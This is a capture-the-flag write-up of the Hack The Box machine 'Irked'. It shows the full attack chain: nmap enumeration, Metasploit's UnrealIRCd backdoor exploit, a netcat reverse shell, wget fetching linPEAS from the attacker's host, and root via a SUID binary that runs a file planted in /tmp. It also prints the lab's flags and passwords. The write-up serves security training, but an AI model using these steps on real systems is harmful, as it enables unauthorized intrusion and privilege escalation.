

HTB - Irked

Rank: Easy

By: str0nk

Date: 2/22/2023

Entry_Point: 10.10.10.117

NMAP

```
sudo nmap -sC -sV -vvv 10.10.10.117 -oN nmap/initial_1k.nmap
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 6a5df5bdcf8378b675319bdc79c5fdad (DSA)
| ssh-dss
AAAAB3NzaC1kc3MAAACBAI+wKAAYWgx/P7Pe78y6/80XVTd6QE6t5ZIpdzKvS8qbKChLB7LC+/HVuxLsh0Utac4oHr/IF9YBytBoaAte87fxF45o3HS9MfLMA
4511KTeNwc5QuhdHzqXX9ne0ypBAGFKECBUJqJ23Lp2S9KuYEYLzUhSdUEYqiZlcc65NspAAAAFQDwgf5Wh8QRu3zSvOIXTk+5g0eTKQAAAIbQuTzKnX3nNffl
t++gnjAJ/dIRXW/KMPTN0So730gLxMWVeId3geXDkiNCD/zo5XgMIQAWDXS+0t0hlsh1BfrDzeEbGSgYNpXoz42RSHKtx7pYLG/hbUr4836olHrxLkjXCFuYFo
9fCDs2/QsAeuhCPgEDjLXIItW9ibfFqLxyP2QAAAIAE5MCdrGmT8huPIxPI+bQWeQyKQI/lH32FDZb4xJBPrqrk9wKW0a1fU2JZM0nrOkdnCPIjLeq9+Db5WyZ
U2u3rdU8aWLZy8zF9mXZxuW/T3yXAV5whYa4QwqaVaiEzjcgRouex0ev/u+y5vLI4/SfAsiFQPzYKomDiBtByS9XA==
|   2048 752e66bfb93cccf77e848a8bf0810233 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDDGASnp9kH4PwWZHx/V3aJjxLzjpiqc2F0yppTFp7/JFKcB9otDhh5kWgSrVDVijdsK95KcsEKC/R+HJ9/P0KPdf4hDv
jJXB1H3Th5/83gy/TEJTDJG16zXtyR9LPdBYg4n5hhfFW01PxM9m41XlEuNgiSY0r+uuEeLxzJb6ccq0VMnSvBd88FGnwpEoH1JYZyyTnnbwtBrXSz1tR5ZocJ
XU4DmI9pzTNkGFT+Q/K6V/sdF73KmMecatgcprIENgmVSaiKh9mb+4vEfWLIe0yZ97c2EdzF5255Ba1P3xHFAY0jROiBnUDSDlxyWMicSymZPuE1N6Tu8nQ/pX
xKvUar
|   256 c8a3a25e349ac49b9053f750bfea253b (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFeZigS1PimiXXJSqDy2KTT4UEEphoLAK8/ftEXUq0ihDOFDrpgT0Y4vYgYPXboLlPBKBc
0nVBmKD+6pvSwIEy8=
|   256 8d1b43c7d01a4c05cf82edc10163a20c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6m+0iYo68rwVQDYDejkVvsvg22D8MN+bNWMUEOWrhj
80/tcp    open  http     syn-ack ttl 63  Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp    open  rpcbind  syn-ack ttl 63  2-4 (RPC #100000)
| rpcinfo:
|   program version      port/proto  service
|   100000  2,3,4          111/tcp    rpcbind
|   100000  2,3,4          111/udp    rpcbind
|   100000  3,4            111/tcp6   rpcbind
|   100000  3,4            111/udp6   rpcbind
|   100024  1              37864/udp  status
|   100024  1              39908/tcp6 status
|   100024  1              43547/tcp  status
|_  100024  1              52427/udp6 status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Allports scan

- More ports were open

```
PORT      STATE SERVICE REASON          VERSION
---SNIP---
6697/tcp  open  irc      syn-ack ttl 63  UnrealIRCD
8067/tcp  open  irc      syn-ack ttl 63  UnrealIRCD
46279/tcp closed unknown reset ttl 63
65534/tcp open  irc      syn-ack ttl 63  UnrealIRCD
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

IRC scripts

```
gene@th0nkp4d-1:~/ctf-challenges/hackthebox/easy/irked$ sudo nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p6697,8067,65534 10.10.10.117 -oN nmap/irc-scripts2.targeted.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-22 12:59 EST
Nmap scan report for irked.htb (10.10.10.117)
Host is up (0.072s latency).

PORT      STATE SERVICE VERSION
6697/tcp   open  irc      UnrealIRCd (Admin email djmardov@irked.htb)
| irc-botnet-channels:
|_  ERROR: Closing Link: [10.10.14.4] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.
8067/tcp   open  irc      UnrealIRCd (Admin email djmardov@irked.htb)
| irc-botnet-channels:
|_  ERROR: Closing Link: [10.10.14.4] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.
65534/tcp  open  irc      UnrealIRCd (Admin email djmardov@irked.htb)
| irc-botnet-channels:
|_  ERROR: Closing Link: [10.10.14.4] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
```

- Got throttled lol. Although, I did find an email! djmardov@irked.htb

RPCINFO

```
gene@th0nkp4d-1:~/ctf-challenges/hackthebox/easy/irked$ rpcinfo 10.10.10.117 | tee rpcinfo.log
program version netid      address      service      owner
100000    4      tcp6      :::.0.111    portmapper   superuser
100000    3      tcp6      :::.0.111    portmapper   superuser
100000    4      udp6      :::.0.111    portmapper   superuser
100000    3      udp6      :::.0.111    portmapper   superuser
100000    4      tcp      0.0.0.0.0.111 portmapper   superuser
100000    3      tcp      0.0.0.0.0.111 portmapper   superuser
100000    2      tcp      0.0.0.0.0.111 portmapper   superuser
100000    4      udp      0.0.0.0.0.111 portmapper   superuser
100000    3      udp      0.0.0.0.0.111 portmapper   superuser
100000    2      udp      0.0.0.0.0.111 portmapper   superuser
100000    4      local     /run/rpcbind.sock portmapper   superuser
100000    3      local     /run/rpcbind.sock portmapper   superuser
100024    1      udp      0.0.0.0.147.232 status        107
100024    1      tcp      0.0.0.0.170.27  status        107
100024    1      udp6     ::.204.203      status        107
100024    1      tcp6     ::.155.228      status        107
```

Initial Foothold

- Enumerated a lot with gobuster/rpc tools didnt find very much.
- I know the name of the IRC server is UnrealIRCd so I searched it on Searchsploit

```
gene@th0nkp4d-1:~/ctf-challenges/hackthebox/easy/irked$ searchsploit unrealirc
```

Exploit Title	Path
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)	linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow	windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute	linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service	windows/dos/27407.pl

- Decided to use Metasploit (because im a skid)

```

METASKID

File Actions Edit View Help

ENUM x gene@th0nkp4d-1: ~/ctf-challenges/hackthebox/easy/irked x METASKID x

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.10.117     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     8067             yes       The target port (TCP)

Payload options (cmd/unix/bind_perl):

  Name      Current Setting  Required  Description
  ----      -
  LPORT     4444             yes       The listen port
  RHOST     10.10.10.117     no        The target address

Exploit target:

  Id  Name
  --  -
  0    Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 10.10.10.117:8067 - Connected to 10.10.10.117:8067 ...
    :irked.htb NOTICE AUTH :*** Looking up your hostname ...
[*] 10.10.10.117:8067 - Sending backdoor command...
[*] Started bind TCP handler against 10.10.10.117:4444
[*] Command shell session 1 opened (10.10.14.4:45779 → 10.10.10.117:4444) at 2023-02-22 13:11:11 -0500

id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
```

- EZ Shell :DDD
- Although I used Metasploti for an initial foothold, I sent a NC shell to myself.
- I'll leave Metasploit running incase I kill my new shell.
- I like to work in a regular TTY so I can have autocompletion and other features.

```

gene@th0nkp4d-1:~/ctf-challenges/hackthebox/easy/irked$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.117] 37403
bash: cannot set terminal process group (599): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ which python3
which python3
/usr/bin/python3
ircd@irked:~/Unreal3.2$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
> '
'
ircd@irked:~/Unreal3.2$ ^Z
zsh: suspended  nc -lvnp 9001

gene@th0nkp4d-1:~/ctf-challenges/hackthebox/easy/irked$ stty raw -echo; fg; reset
[1] + continued  nc -lvnp 9001

ircd@irked:~/Unreal3.2$
ircd@irked:~/Unreal3.2$ export TERM=xterm
ircd@irked:~/Unreal3.2$ stty rows 19
ircd@irked:~/Unreal3.2$ stty columns 167
ircd@irked:~/Unreal3.2$ █
```

linPEAS

```
REV SHELL
File Actions Edit View Help
REV SHELL x gene@th0nkp1d-1: ~/ctf-challenges/hackthebox/easy/irked x METASKID x
ircd@irked:/dev/shm$ wget http://10.10.14.4:1337/linpeas.sh
--2023-02-22 13:20:47-- http://10.10.14.4:1337/linpeas.sh
Connecting to 10.10.14.4:1337 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 826127 (807K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          5%[====>] 42.70K 1.83KB/s eta 5m 9s

gene@th0nkp1d-1:~/tools/local_privesc/PEASS$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
10.10.10.117 - - [22/Feb/2023 13:20:48] "GET /linpeas.sh HTTP/1.1" 200 -
```

- Uploaded linPEAS
- Im working from a tethered mobile network, so file transfers can be very slow sometimes (especially when its snowing outside lol)



- That file transfer took about 5 minutes (807kb file lmao)

```
Active Ports
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp      0      0 0.0.0.0:22          0.0.0.0:*        LISTEN   -
tcp      0      0 127.0.0.1:631       0.0.0.0:*        LISTEN   -
tcp      0      0 127.0.0.1:25       0.0.0.0:*        LISTEN   -
tcp      0      0 0.0.0.0:43547      0.0.0.0:*        LISTEN   -
tcp      0      0 0.0.0.0:65534      0.0.0.0:*        LISTEN   623/ircd
tcp      0      0 0.0.0.0:8067       0.0.0.0:*        LISTEN   623/ircd
tcp      0      0 0.0.0.0:6697       0.0.0.0:*        LISTEN   623/ircd
tcp      0      0 0.0.0.0:111        0.0.0.0:*        LISTEN   -
tcp      0      0 0.0.0.0:80         0.0.0.0:*        LISTEN   -
tcp6     0      0 :::22             :::*             LISTEN   -
tcp6     0      0 ::1:631           :::*             LISTEN   -
tcp6     0      0 ::1:25            :::*             LISTEN   -
tcp6     0      0 :::39908          :::*             LISTEN   -
tcp6     0      0 :::111            :::*             LISTEN   -
```

- Port 631 & 25 listening locally.

Superusers

```
root:x:0:0:root:/root:/bin/bash
```

Users with console

```
djmardov:x:1000:1000:djmardov,,,:/home/djmardov:/bin/bash
```

```
ircd:x:1001:1001::/home/ircd:/bin/sh
```

```
root:x:0:0:root:/root:/bin/bash
```

```
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
```

- 4 users that have console.

```
ircd@irked:/home/djmardov/Documents$ file .backup
.backup: ASCII text
ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
```

- While looking around the home directories of both users with directories in /home/ I came across a '.backup' file. Its readable by me and outputs some steg pw.

```
Super elite steg backup pw
```

```
UPupDOWNdownLRlrBAbaSSss
```

```
ircd@irked:/home/djmardov/Documents$ su djmardov
Password:
su: Authentication failure
ircd@irked:/home/djmardov/Documents$ su root
Password:
su: Authentication failure
ircd@irked:/home/djmardov/Documents$ █
```

- It doesnt work for either user.

```
ircd@irked:~/Unreal3.2/keys/CVS$ ls -lah
total 24K
drwx----- 2 ircd ircd 4.0K Sep  5 08:41 .
drwx----- 3 ircd ircd 4.0K Sep  5 08:41 ..
-rw----- 1 ircd ircd  51 Apr 13  2009 Entries
-rw----- 1 ircd ircd  12 Apr 13  2009 Repository
-rw----- 1 ircd ircd  43 Apr 13  2009 Root
-rw----- 1 ircd ircd   8 Apr 13  2009 Tag
ircd@irked:~/Unreal3.2/keys/CVS$ ls -lah Entries
-rw----- 1 ircd ircd 51 Apr 13  2009 Entries
ircd@irked:~/Unreal3.2/keys/CVS$ file Entries
Entries: ASCII text
ircd@irked:~/Unreal3.2/keys/CVS$ cat Entries
/.KEYS/1.1.6.5/Sat Apr 24 23:53:53 2004//Tstable
D
ircd@irked:~/Unreal3.2/keys/CVS$ cat Repository
unreal/keys
ircd@irked:~/Unreal3.2/keys/CVS$ cat Root
:pserver:anonymous@cvs.unrealircd.com:/cvs
ircd@irked:~/Unreal3.2/keys/CVS$ cat Tag
Tstable
```

- Not quite sure if these are useful yet.

```
ircd@irked:~$ find / -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
```

- /usr/bin/viewuser looks interesting...


```
ircd@irked:~$ ls -lah /usr/bin/viewuser
-rwsr-xr-x 1 root root 7.2K May 16 2018 /usr/bin/viewuser
ircd@irked:~$ /usr/bin/viewuser
This application is being develeoped to set and test user permissions
It is still being actively developed
(unknown) :0          2023-02-22 12:24 (:0)
sh: 1: /tmp/listusers: not found
```

- It does have SUID set :DDD
- Its trying to do something in the /tmp/ directory. Which is writable by all users! :DDD

Path to root

```
ircd@irked:/tmp$ echo -n "/bin/bash" > listusers
ircd@irked:/tmp$ ls -lah
total 52K
drwxrwxrwt 11 root root 4.0K Feb 22 13:47 .
drwxr-xr-x 21 root root 4.0K Sep  8 11:55 ..
prw----- 1 ircd ircd  0 Feb 22 13:47 f
drwxrwxrwt 2 root root 4.0K Feb 22 12:24 .font-unix
drwxrwxrwt 2 root root 4.0K Feb 22 12:24 .ICE-unix
-rw----- 1 ircd ircd  9 Feb 22 13:47 listusers
drwx----- 3 root root 4.0K Feb 22 12:25 systemd-private-16666517832b4b11a9eef48610bce3e6-colord.service-q1fB6N
drwx----- 3 root root 4.0K Feb 22 12:24 systemd-private-16666517832b4b11a9eef48610bce3e6-cups.service-YkWSrV
drwx----- 3 root root 4.0K Feb 22 12:25 systemd-private-16666517832b4b11a9eef48610bce3e6-rtkit-daemon.service-U5EflA
drwxrwxrwt 2 root root 4.0K Feb 22 12:24 .Test-unix
drwx----- 2 root root 4.0K Feb 22 12:25 vmware-root
-r--r--r-- 1 root root 11 Feb 22 12:24 .X0-lock
drwxrwxrwt 2 root root 4.0K Feb 22 12:24 .X11-unix
drwxrwxrwt 2 root root 4.0K Feb 22 12:24 .XIM-unix
ircd@irked:/tmp$ chmod 777 listusers
ircd@irked:/tmp$ /usr/bin/viewuser
This application is being develeoped to set and test user permissions
It is still being actively developed
(unknown) :0          2023-02-22 12:24 (:0)
root@irked:/tmp# id
uid=0(root) gid=1001(ircd) groups=1001(ircd)
root@irked:/tmp# █
```

- Since /usr/bin/viewuser is calling up a file in /tmp that doesnt exist I figured id make one. Im not sure that viewuser is going to do with this file but on the off chance that it executes code I'll make a simple payload of "/bin/bash" Since /usr/bin/viewuser has SUID set it will run as root.
- It payed off and upon running viewuser it dropped me into a root shell! :DDD

```
root@irked:/home/djmardov# cat user.txt
90cf42ddce2aa92a05b2aba0045fc8c7
root@irked:/home/djmardov# cd /root
root@irked:/root# ls -lah
total 24K
drwx----- 2 root root 4.0K Sep  5 08:41 .
drwxr-xr-x 21 root root 4.0K Sep  8 11:55 ..
lrwxrwxrwx 1 root root  9 Nov  3 2018 .bash_history → /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 17 May 14 2018 pass.txt
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r----- 1 root root 33 Feb 22 12:25 root.txt
root@irked:/root# cat root.txt
c357bcfb106757bc332cd6f4525b65aa
root@irked:/root# cat pass.txt
Kab6h+m+bbp2J:HG
root@irked:/root# █
```

- Collected the user & root flags! :DDD

After thoughts

This machine was relatively easy, I spent a lot of time trying to enumerate the web server and RPC. I also was having weird issues with NMAP. It took a few tries with an all ports scan to actually find all of the open ports. I believe this was an issue with my network (mobile hotspot) but in the end I was able to find all of them. Metasploit was a huge help (as always lol) I would like to start using it less even though its awesome.